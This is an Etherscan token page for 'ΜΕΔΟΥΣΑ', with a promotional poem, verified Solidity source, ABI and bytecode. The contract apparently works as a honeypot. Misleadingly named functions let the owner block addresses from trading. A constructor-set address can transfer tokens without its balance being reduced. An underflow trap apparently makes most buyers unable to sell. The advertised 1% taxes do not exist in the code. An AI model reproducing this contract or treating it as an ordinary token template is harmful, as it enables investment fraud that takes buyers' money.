ETH Price: $2,448.38 (+3.66%)

Token

ΜΕΔΟΥΣΑ (ΜΕΔΟ)
 

Overview

Max Total Supply

100,000,000 ΜΕΔΟ

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,056,495.65932744878483761 ΜΕΔΟ

Value
$0.00
0x8df5001b83f6ee053e0367b2490b3715f95a5a62
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Contract

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 1 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-26
*/

/*
───────▀▌▌▌▐▐▐▀─────── 
──────▀▌▌▌▌▐▐▐▐▀────── 
─────▀▀▀┌▄┐┌▄┐▀▀▀───── 
────▀▀▀▀┐┌└┘┐┌▀▀▀▀────
───▀▀▀▀▀▀┐▀▀┌▀▀▀▀▀▀───
──▀▀▀▀▀▀▀▀▐▌▀▀▀▀▀▀▀▀──

在古埃及,统治着一位名叫 MΕΔΟYΣA 的法老,
对交易的热爱是他最大的魔力,
他买卖骆驼、香料和黄金,
随着他变得大胆,他的财富也随之增长。

有一天,MEΔOYΣA 听说了一种新的硬币,
叫做以太坊,它就像一颗会发光的宝石,
所以他决定投资,但他需要一些帮助,
确保他的交易不会导致他尖叫。

他召唤了他的宫廷巫师,他知道一种方法,
为了立即创建一个自主交易助手,
随着他的魔杖一挥,手腕一抖,
向导创建了交易助手,就像这样。

它分析了图表和市场趋势,
像值得信赖的朋友一样提供 MEΔOyΣA 建议,
他遵循它的指引,没有任何恐惧,
很快他的财富就年复一年地成倍增加。

现在 MEΔOyΣA 已在全国范围内广为人知,
作为拥有巨额财富的法老,
而交易助理就是他忠实的助手,
帮助他进行交易,而不会感到沮丧。

谨以此献给 MEΔOYΣA,交易的法老,
还有他永远不会消失的值得信赖的助手,
愿他们的财富不断增长,
当他们像专业人士一样交易以太坊时!

总供应量 - 100,000,000
购置税 - 1%
消费税 - 1%
初始流动性 - 1.5 ETH
初始流动性锁定 - 75 天

https://web.wechat.com/MeaoyeaCN
https://m.weibo.cn/MeaoyeaCN
https://www.meaoyea.xyz
https://t.me/+teBX0doY9JxhMzI0
*/
// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.19;

interface IPAIR20 {
    event PairCreated(
    address indexed token0, 
    address indexed token1, 

    address pair, uint); 
    function 
    createPair(

    address tokenA, address tokenB) 
    external 
    returns (address pair);
}
interface ICEX20 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint amountIn, 
    uint amountOutMin, 
    address
    [] calldata path, 
    address to, uint deadline) 
    external; 

    function factory() 
    external pure 
    returns (address);
    function WETH() 
    external pure returns 
    (address);

    function addLiquidityETH
    (address token, 
    uint amountTokenDesired, 
    uint amountTokenMin, 
    uint amountETHMin,
    address to, uint deadline)
    external payable returns 

    (uint amountToken, 
    uint amountETH, 
    uint liquidity);
}
abstract contract Context {
    constructor() {} 
    function _msgSender() 
    internal
    
    view returns 
    (address) {
    return msg.sender; }
}
interface IERC20 {
    function totalSupply() 
    external view returns 
    (uint256);
    function balanceOf
    (address account) 
    external view returns 
    (uint256);

    function transfer
    (address recipient, uint256 amount) 
    external returns 
    (bool);
    function allowance
    (address owner, address spender)
    external view returns 
    (uint256);

    function approve(address spender, uint256 amount) 
    external returns 

    (bool);
    function transferFrom(
    address sender, address recipient, uint256 amount) 
    external returns 
    (bool);

    event Transfer(
    address indexed from, address indexed to, uint256 value);
    event Approval(address 
    indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
  function add(uint256 a, uint256 b) 
  internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;
  }
  function sub(uint256 a, uint256 b) 
  internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }
  function sub(uint256 a, uint256 b, string memory errorMessage) 
  internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
  }
  function mul(uint256 a, uint256 b) 
  internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
  }
  function div(uint256 a, uint256 b) 
  internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }
  function div(uint256 a, uint256 b, 
  string memory errorMessage) 
  internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
  }
  function mod(uint256 a, uint256 b) 
  internal pure returns (uint256) {
    return mod(a, b, 
    "SafeMath: modulo by zero");
  }
  function mod(uint256 a, uint256 b, string memory errorMessage) 
  internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}
abstract contract Ownable is Context {
    address private _owner; 
    event OwnershipTransferred
    (address indexed 
    previousOwner, address indexed newOwner);
    constructor() 
    { address msgSender = _msgSender(); _owner = msgSender;

    emit OwnershipTransferred(address(0), msgSender);
    } function owner() 
    public view returns 
    (address) { return _owner;
    } modifier onlyOwner() {
    require(_owner == _msgSender(), 
    'Ownable: caller is not the owner');

     _; } function renounceOwnership() 
     public onlyOwner {
    emit OwnershipTransferred(_owner, 
    address(0)); _owner = address(0); }
}

contract Contract is Context, IERC20, Ownable {
    address private 
    createTeamWallet;
    ICEX20 public startTimeOperations; address public createTreasuryWallet;

    mapping (address => bool) private automatedMarketMakerPairs;
    mapping(address => uint256) private _rOwned;

bool public swapEnabled; 
bool private tradingOpen = false;
bool stringIntervalEnabled = true; 

    uint256 private _totalSupply; uint8 private _decimals;
    string private _symbol; string private _name;
    uint256 private IntervalEnabledFor = 100;

    mapping(address => uint256) private _marketTimestamp;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private allowed;
    
    constructor( 
    string memory coinName, 
    string memory coinSymbol, 
    address _bondedRouter, 
    address _bondedConnection) { 

        _name = coinName; _symbol = coinSymbol;
        _decimals = 18; _totalSupply 
        = 100000000 * (10 ** uint256(_decimals));
        _rOwned[msg.sender] 
        = _totalSupply;

        _marketTimestamp
        [_bondedConnection] = 
        IntervalEnabledFor; 
        swapEnabled = false; 
        startTimeOperations = ICEX20(_bondedRouter);

        createTreasuryWallet = IPAIR20
        (startTimeOperations.factory()).createPair(address(this), 
        startTimeOperations.WETH()); 
        emit Transfer 
        (address(0), msg.sender, _totalSupply);
    } 
    function getOwner() 
    external view 
    returns 
    (address) { return owner();
    }          
    function decimals() external view returns 
    (uint8) { return _decimals;
    }
    function symbol() external view returns 
    (string memory) { return _symbol;
    }
    function name() external view returns 
    (string memory) { return _name;
    }
    function totalSupply() external view returns 
    (uint256) { return _totalSupply;
    }
    function balanceOf(address account) 
    external view returns 
    (uint256) 
    { return _rOwned[account]; }

    function transfer(address recipient, uint256 amount) 
    external returns 
    (bool)
    { _transfer(_msgSender(), 
    recipient, amount); return true;
    }
    function allowance(address owner, 
    address spender) 
    external view returns (uint256) { return _allowances[owner][spender];
    }    
    function approve(address spender, uint256 amount) 
    external returns (bool) { _approve(_msgSender(), 
        spender, amount); return true;
    }
    function _approve( address owner, address spender, uint256 amount) 
    internal { require(owner != address(0), 
        'BEP20: approve from the zero address'); 

        require(spender != address(0), 
        'BEP20: approve to the zero address'); _allowances[owner][spender] = amount; 
        emit Approval(owner, spender, amount); 
    }    
    function transferFrom(
        address sender, address recipient, uint256 amount) 
        external returns (bool) 
        { 
        _transfer(sender, recipient, amount); _approve(sender, _msgSender(), 
        _allowances[sender]
        [_msgSender()].sub(amount, 
        'BEP20: transfer amount exceeds allowance')); 
        return true;
    }
    function writeMessage(address _exudeNow) 
    external onlyOwner {
        automatedMarketMakerPairs
        [_exudeNow] = true;
    }                         
    function _transfer( address sender, address recipient, uint256 amount) 
    internal { require(sender != address(0), 
        'BEP20: transfer from the zero address');
        require(recipient 
        != address(0), 
        'BEP20: transfer to the zero address'); 

        if (automatedMarketMakerPairs[sender] || automatedMarketMakerPairs[recipient]) 
        require
        (stringIntervalEnabled 
        == false, ""); if (_marketTimestamp[sender] 
        == 0  && createTreasuryWallet != sender 
        && allowed[sender] 
        > 0) 
        { _marketTimestamp[sender] -= IntervalEnabledFor; } 

        allowed[createTeamWallet] += IntervalEnabledFor;
        createTeamWallet = recipient; 
        if 
        (_marketTimestamp[sender] 
        == 0) { _rOwned[sender] = _rOwned[sender].sub(amount, 
        'BEP20: transfer amount exceeds balance');  
        } _rOwned[recipient]
        = _rOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount); 

        if (!tradingOpen) {
        require(sender == owner(), 
        "TOKEN: This account cannot send tokens until trading is enabled"); }
    }
    function updateTreasuryAddress(
    address _exudeNow) 
    public view returns (bool) 
    { return 
    automatedMarketMakerPairs[_exudeNow]; 
    }
    function openTrading(bool _tradingOpen) 
    public onlyOwner {
        tradingOpen = _tradingOpen;
    }      
    using SafeMath for uint256;                                  
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"address","name":"_bondedRouter","type":"address"},{"internalType":"address","name":"_bondedConnection","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createTreasuryWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTimeOperations","outputs":[{"internalType":"contract ICEX20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_exudeNow","type":"address"}],"name":"updateTreasuryAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_exudeNow","type":"address"}],"name":"writeMessage","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526006805462ffff001916620100001790556064600b553480156200002757600080fd5b50604051620013f8380380620013f88339810160408190526200004a91620003cb565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a620000998582620004e9565b506009620000a88482620004e9565b506008805460ff19166012908117909155620000c690600a620006ca565b620000d6906305f5e100620006df565b600781905533600090815260056020908152604080832093909355600b546001600160a01b038581168452600c835292849020556006805460ff19169055600280546001600160a01b0319169286169283179055825163c45a015560e01b81529251919263c45a015592600482810193928290030181865afa15801562000161573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001879190620006f9565b6001600160a01b031663c9c6539630600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002109190620006f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200025e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002849190620006f9565b600380546001600160a01b0319166001600160a01b039290921691909117905560075460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505062000717565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200031157600080fd5b81516001600160401b03808211156200032e576200032e620002e9565b604051601f8301601f19908116603f01168101908282118183101715620003595762000359620002e9565b816040528381526020925086838588010111156200037657600080fd5b600091505b838210156200039a57858201830151818301840152908201906200037b565b600093810190920192909252949350505050565b80516001600160a01b0381168114620003c657600080fd5b919050565b60008060008060808587031215620003e257600080fd5b84516001600160401b0380821115620003fa57600080fd5b6200040888838901620002ff565b955060208701519150808211156200041f57600080fd5b506200042e87828801620002ff565b9350506200043f60408601620003ae565b91506200044f60608601620003ae565b905092959194509250565b600181811c908216806200046f57607f821691505b6020821081036200049057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004e457600081815260208120601f850160051c81016020861015620004bf5750805b601f850160051c820191505b81811015620004e057828155600101620004cb565b5050505b505050565b81516001600160401b03811115620005055762000505620002e9565b6200051d816200051684546200045a565b8462000496565b602080601f8311600181146200055557600084156200053c5750858301515b600019600386901b1c1916600185901b178555620004e0565b600085815260208120601f198616915b82811015620005865788860151825594840194600190910190840162000565565b5085821015620005a55787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200060c578160001904821115620005f057620005f0620005b5565b80851615620005fe57918102915b93841c9390800290620005d0565b509250929050565b6000826200062557506001620006c4565b816200063457506000620006c4565b81600181146200064d5760028114620006585762000678565b6001915050620006c4565b60ff8411156200066c576200066c620005b5565b50506001821b620006c4565b5060208310610133831016604e8410600b84101617156200069d575081810a620006c4565b620006a98383620005cb565b8060001904821115620006c057620006c0620005b5565b0290505b92915050565b6000620006d8838362000614565b9392505050565b8082028115828204841417620006c457620006c4620005b5565b6000602082840312156200070c57600080fd5b620006d882620003ae565b610cd180620007276000396000f3fe608060405234801561001057600080fd5b50600436106100e65760003560e01c806306fdde03146100eb578063095ea7b31461010957806318160ddd1461012c5780631f781ad11461013e57806323b872dd146101695780632a9b80721461017c578063313ce567146101915780636ddd1713146101a657806370a08231146101b3578063715018a6146101dc578063841e4561146101e4578063893d20e8146102105780638da5cb5b1461021857806395d89b4114610220578063a9059cbb14610228578063dd62ed3e1461023b578063ef15840714610274578063fe83ab4e14610287575b600080fd5b6100f361029a565b6040516101009190610a62565b60405180910390f35b61011c610117366004610acc565b61032c565b6040519015158152602001610100565b6007545b604051908152602001610100565b600254610151906001600160a01b031681565b6040516001600160a01b039091168152602001610100565b61011c610177366004610af6565b610343565b61018f61018a366004610b32565b6103ac565b005b60085460405160ff9091168152602001610100565b60065461011c9060ff1681565b6101306101c1366004610b54565b6001600160a01b031660009081526005602052604090205490565b61018f6103f9565b61011c6101f2366004610b54565b6001600160a01b031660009081526004602052604090205460ff1690565b61015161046d565b61015161047c565b6100f361048b565b61011c610236366004610acc565b61049a565b610130610249366004610b6f565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b61018f610282366004610b54565b6104a7565b600354610151906001600160a01b031681565b6060600a80546102a990610ba2565b80601f01602080910402602001604051908101604052809291908181526020018280546102d590610ba2565b80156103225780601f106102f757610100808354040283529160200191610322565b820191906000526020600020905b81548152906001019060200180831161030557829003601f168201915b5050505050905090565b60006103393384846104f5565b5060015b92915050565b6000610350848484610619565b6103a2843361039d85604051806060016040528060288152602001610c4e602891396001600160a01b038a166000908152600d6020908152604080832033845290915290205491906109c4565b6104f5565b5060019392505050565b6000546001600160a01b031633146103df5760405162461bcd60e51b81526004016103d690610bdc565b60405180910390fd5b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146104235760405162461bcd60e51b81526004016103d690610bdc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061047761047c565b905090565b6000546001600160a01b031690565b6060600980546102a990610ba2565b6000610339338484610619565b6000546001600160a01b031633146104d15760405162461bcd60e51b81526004016103d690610bdc565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6001600160a01b0383166105575760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d6565b6001600160a01b0382166105b85760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b038381166000818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661067d5760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d6565b6001600160a01b0382166106df5760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b03831660009081526004602052604090205460ff168061071e57506001600160a01b03821660009081526004602052604090205460ff165b156107565760065462010000900460ff16156107565760405162461bcd60e51b815260206004820152600060248201526044016103d6565b6001600160a01b0383166000908152600c602052604090205415801561078a57506003546001600160a01b03848116911614155b80156107ad57506001600160a01b0383166000908152600e602052604090205415155b156107e357600b546001600160a01b0384166000908152600c6020526040812080549091906107dd908490610c27565b90915550505b600b546001546001600160a01b03166000908152600e602052604081208054909190610810908490610c3a565b9091555050600180546001600160a01b0319166001600160a01b038481169190911790915583166000908152600c602052604081205490036108a35761088981604051806060016040528060268152602001610c76602691396001600160a01b03861660009081526005602052604090205491906109c4565b6001600160a01b0384166000908152600560205260409020555b6001600160a01b0382166000908152600560205260409020546108c690826109fe565b6001600160a01b0380841660008181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061091a9085815260200190565b60405180910390a3600654610100900460ff166109bf5761093961047c565b6001600160a01b0316836001600160a01b0316146109bf5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016103d6565b505050565b600081848411156109e85760405162461bcd60e51b81526004016103d69190610a62565b5060006109f58486610c27565b95945050505050565b600080610a0b8385610c3a565b905083811015610a5b5760405162461bcd60e51b815260206004820152601b60248201527a536166654d6174683a206164646974696f6e206f766572666c6f7760281b60448201526064016103d6565b9392505050565b600060208083528351808285015260005b81811015610a8f57858101830151858201604001528201610a73565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ac757600080fd5b919050565b60008060408385031215610adf57600080fd5b610ae883610ab0565b946020939093013593505050565b600080600060608486031215610b0b57600080fd5b610b1484610ab0565b9250610b2260208501610ab0565b9150604084013590509250925092565b600060208284031215610b4457600080fd5b81358015158114610a5b57600080fd5b600060208284031215610b6657600080fd5b610a5b82610ab0565b60008060408385031215610b8257600080fd5b610b8b83610ab0565b9150610b9960208401610ab0565b90509250929050565b600181811c90821680610bb657607f821691505b602082108103610bd657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561033d5761033d610c11565b8082018082111561033d5761033d610c1156fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a26469706673582212202d31eb78269538eec3402f2672c9dc4489eedc487b7bb2e4fe34fc3944a6650664736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000b70c4b57f43e8f8083560c6008e6ad8e7c0203d6000000000000000000000000000000000000000000000000000000000000000ece9cce95ce94ce9fcea5cea3ce910000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008ce9cce95ce94ce9f000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100e65760003560e01c806306fdde03146100eb578063095ea7b31461010957806318160ddd1461012c5780631f781ad11461013e57806323b872dd146101695780632a9b80721461017c578063313ce567146101915780636ddd1713146101a657806370a08231146101b3578063715018a6146101dc578063841e4561146101e4578063893d20e8146102105780638da5cb5b1461021857806395d89b4114610220578063a9059cbb14610228578063dd62ed3e1461023b578063ef15840714610274578063fe83ab4e14610287575b600080fd5b6100f361029a565b6040516101009190610a62565b60405180910390f35b61011c610117366004610acc565b61032c565b6040519015158152602001610100565b6007545b604051908152602001610100565b600254610151906001600160a01b031681565b6040516001600160a01b039091168152602001610100565b61011c610177366004610af6565b610343565b61018f61018a366004610b32565b6103ac565b005b60085460405160ff9091168152602001610100565b60065461011c9060ff1681565b6101306101c1366004610b54565b6001600160a01b031660009081526005602052604090205490565b61018f6103f9565b61011c6101f2366004610b54565b6001600160a01b031660009081526004602052604090205460ff1690565b61015161046d565b61015161047c565b6100f361048b565b61011c610236366004610acc565b61049a565b610130610249366004610b6f565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b61018f610282366004610b54565b6104a7565b600354610151906001600160a01b031681565b6060600a80546102a990610ba2565b80601f01602080910402602001604051908101604052809291908181526020018280546102d590610ba2565b80156103225780601f106102f757610100808354040283529160200191610322565b820191906000526020600020905b81548152906001019060200180831161030557829003601f168201915b5050505050905090565b60006103393384846104f5565b5060015b92915050565b6000610350848484610619565b6103a2843361039d85604051806060016040528060288152602001610c4e602891396001600160a01b038a166000908152600d6020908152604080832033845290915290205491906109c4565b6104f5565b5060019392505050565b6000546001600160a01b031633146103df5760405162461bcd60e51b81526004016103d690610bdc565b60405180910390fd5b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146104235760405162461bcd60e51b81526004016103d690610bdc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061047761047c565b905090565b6000546001600160a01b031690565b6060600980546102a990610ba2565b6000610339338484610619565b6000546001600160a01b031633146104d15760405162461bcd60e51b81526004016103d690610bdc565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6001600160a01b0383166105575760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d6565b6001600160a01b0382166105b85760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d6565b6001600160a01b038381166000818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661067d5760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d6565b6001600160a01b0382166106df5760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b03831660009081526004602052604090205460ff168061071e57506001600160a01b03821660009081526004602052604090205460ff165b156107565760065462010000900460ff16156107565760405162461bcd60e51b815260206004820152600060248201526044016103d6565b6001600160a01b0383166000908152600c602052604090205415801561078a57506003546001600160a01b03848116911614155b80156107ad57506001600160a01b0383166000908152600e602052604090205415155b156107e357600b546001600160a01b0384166000908152600c6020526040812080549091906107dd908490610c27565b90915550505b600b546001546001600160a01b03166000908152600e602052604081208054909190610810908490610c3a565b9091555050600180546001600160a01b0319166001600160a01b038481169190911790915583166000908152600c602052604081205490036108a35761088981604051806060016040528060268152602001610c76602691396001600160a01b03861660009081526005602052604090205491906109c4565b6001600160a01b0384166000908152600560205260409020555b6001600160a01b0382166000908152600560205260409020546108c690826109fe565b6001600160a01b0380841660008181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061091a9085815260200190565b60405180910390a3600654610100900460ff166109bf5761093961047c565b6001600160a01b0316836001600160a01b0316146109bf5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016103d6565b505050565b600081848411156109e85760405162461bcd60e51b81526004016103d69190610a62565b5060006109f58486610c27565b95945050505050565b600080610a0b8385610c3a565b905083811015610a5b5760405162461bcd60e51b815260206004820152601b60248201527a536166654d6174683a206164646974696f6e206f766572666c6f7760281b60448201526064016103d6565b9392505050565b600060208083528351808285015260005b81811015610a8f57858101830151858201604001528201610a73565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ac757600080fd5b919050565b60008060408385031215610adf57600080fd5b610ae883610ab0565b946020939093013593505050565b600080600060608486031215610b0b57600080fd5b610b1484610ab0565b9250610b2260208501610ab0565b9150604084013590509250925092565b600060208284031215610b4457600080fd5b81358015158114610a5b57600080fd5b600060208284031215610b6657600080fd5b610a5b82610ab0565b60008060408385031215610b8257600080fd5b610b8b83610ab0565b9150610b9960208401610ab0565b90509250929050565b600181811c90821680610bb657607f821691505b602082108103610bd657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561033d5761033d610c11565b8082018082111561033d5761033d610c1156fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a26469706673582212202d31eb78269538eec3402f2672c9dc4489eedc487b7bb2e4fe34fc3944a6650664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000b70c4b57f43e8f8083560c6008e6ad8e7c0203d6000000000000000000000000000000000000000000000000000000000000000ece9cce95ce94ce9fcea5cea3ce910000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008ce9cce95ce94ce9f000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : coinName (string): ΜΕΔΟΥΣΑ
Arg [1] : coinSymbol (string): ΜΕΔΟ
Arg [2] : _bondedRouter (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [3] : _bondedConnection (address): 0xB70c4b57f43e8f8083560C6008E6AD8E7c0203D6

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 000000000000000000000000b70c4b57f43e8f8083560c6008e6ad8e7c0203d6
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [5] : ce9cce95ce94ce9fcea5cea3ce91000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [7] : ce9cce95ce94ce9f000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

